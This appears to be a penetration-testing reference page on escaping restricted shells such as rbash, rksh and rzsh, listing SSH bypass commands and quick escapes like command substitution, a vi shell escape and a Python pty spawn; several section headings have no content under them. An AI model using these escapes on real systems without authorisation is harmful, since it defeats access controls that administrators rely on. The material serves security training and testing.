πͺEscaping Restricted Shells
π― Overview
Techniques to break out of restricted shells (rbash, rksh, rzsh) that limit command execution, directory changes, and environment modification.
π Restricted Shell Types
Shell
Description
rbash
Restricted Bourne shell - limits cd, PATH modification
rksh
Restricted Korn shell - blocks shell functions, command execution
rzsh
Restricted Z shell - prevents aliases, script execution
πͺ Escape Techniques
SSH Bypass Methods
# Method 1: SSH with bash noprofile
ssh user@target -t "bash --noprofile"
# Method 2: SSH with different shell
ssh user@target -t "/bin/bash"
ssh user@target -t "/bin/sh"
# Method 3: SSH command execution
ssh user@target "bash -i"
# Method 4: SSH with environment bypass
ssh user@target -t "env -i bash --norc --noprofile"Command Injection
Environment Variable Manipulation
Built-in Command Abuse
Shell Function Exploitation
π§ Advanced Bypass Techniques
Character Escaping
Alternative Interpreters
File-based Escapes
π Enumeration & Detection
Identify Restricted Shell
Quick Escape Test Script
π Practical Examples
HTB Academy Example
Common Escape Sequence
π Quick Reference
Most Effective Methods
SSH bypass:
ssh user@host -t "bash --noprofile"Command substitution:
ls $(bash)Environment escape:
$0or$SHELLVi/editor escape:
:!/bin/bashPython spawn:
python -c "import pty; pty.spawn('/bin/bash')"
Emergency Escapes
Restricted shell escapes exploit the fundamental tension between security restrictions and functional requirements - finding gaps in command limitations to restore full shell capabilities.
Last updated